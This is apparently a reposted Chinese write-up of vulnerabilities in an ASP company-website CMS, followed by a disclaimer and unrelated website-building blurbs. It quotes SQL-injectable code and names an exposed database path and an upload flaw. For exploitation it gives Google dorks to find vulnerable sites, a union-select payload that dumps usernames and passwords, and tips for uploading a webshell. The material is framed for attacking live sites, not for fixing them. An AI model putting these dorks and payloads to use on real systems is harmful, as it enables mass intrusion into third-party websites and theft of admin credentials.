时间:2021-05-25
让不懂编写网页的人也可以有自己的公司(企业)网站,基本资料都在后台管理添加修改,网站的标题、地址、版权、公司邮局、收藏等资料可以在后台的"公司资料"里管理
----------------------------------------------------
漏洞一:注入漏洞,
漏洞页面:NewsInfo.asp,
漏洞代码:if not isEmpty(request.QueryString("id")) then
id=request.QueryString("id")
else
id=1
end if
Set rs = Server.CreateObject("ADODB.Recordset")
rs.Open "Select * From Conews where id="&id, conn,3,3
'纪录访问次数
rs("counter")=rs("counter")+1
rs.update
nCounter=rs("counter")
id变量未处理直接代入sql查询,可注射,用啊d就行
页面二:yeNewsInfo.asp
漏洞代码:<%
if not isEmpty(request.QueryString("id")) then
id=request.QueryString("id")
else
id=1
end if
Set rs = Server.CreateObject("ADODB.Recordset")
rs.Open "Select * From Yenews where id="&id, conn,3,3
'纪录访问次数
rs("counter")=rs("counter")+1
rs.update
nCounter=rs("counter")
'定义内容
content=ubbcode(rs("content"))
%>
原理同上,可注入。
漏洞二:数据库下载漏洞
数据库地址:Database/DataShop.mdb
为建立放下载表,可任意下载!
漏洞三:上传漏洞
漏洞页面:upfile.asp ,upfilea.asp
问题代码:fileExt=lcase(file.FileExt)
Forumupload=split(UpFileType,"|")
for i=0 to ubound(Forumupload)
if fileEXT=trim(Forumupload(i)) then
EnableUpload=true
exit for
end if
next
if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
EnableUpload=false
end if
if EnableUpload=false then
msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType
founderr=true
end if
和那个良精的上传漏洞一样,不知道是谁抄谁的代码了!注册用户,本地上传php的大马或者加空格过滤上传asp大马,具体方法我就不说了,在浅析良精企业网站管理程序一文中提到过了!不再赘述!
漏洞利用:注入,Google:inurl:yeNewsInfo.asp?Id
注入语句:%20and%201=2%20union%20select%201,username,3,4,password%20from%20Bs_User
或者啊d:需要手动添加表段:Bs_User
数据库漏洞利用:
挖掘机:关键字:inurl:yeNewsInfo.asp?Id
后缀:Database/DataShop.mdb
关于上传漏洞的利用我就不演示了,可参照 浅析良精企业网站管理系统漏洞 一文。
声明:本页内容来源网络,仅供用户参考;我单位不保证亦不表示资料全面及准确无误,也不保证亦不表示这些资料为最新信息,如因任何原因,本网内容或者用户因倚赖本网内容造成任何损失或损害,我单位将不会负任何法律责任。如涉及版权问题,请提交至online#300.cn邮箱联系删除。
防止SQL注入产生漏洞。电子商务企业网站的后台管理数据库系统开发的过程中,sql的注入过程中会产生哪些漏洞的问题无疑是非常关键的,要及时采取有效的措施来保护和防
公司企业网站可以做转让吗?公司企业网站需要注意什么?公司网站是可以转让的,但是转让网站也有要注意的事项,下面小编来告诉你。 公司转让网站的权重值 网站的
随着社会的发展,我们的生活越来越离不开互联网了,企业大军开始加入网络营销的行列,他们各自制作自己的企业网站,利用网络平台发展业务。但是制作公司企业网站需要注意哪
企业网站的重要性很多人都知道,很多企业都建设有网站。可是现在建网站的公司太多了,如何在众多的企业网站中让客户找到你的公司网站呢?要想让客户找到公司企业网站,就需
公司企业如果想要建设企业网站,首先就需要知道企业网站建设中都包括哪些费用。在打算建设企业网站前,公司就要先去多看看同行业、竞争对手等的企业网站页面设计,看看他们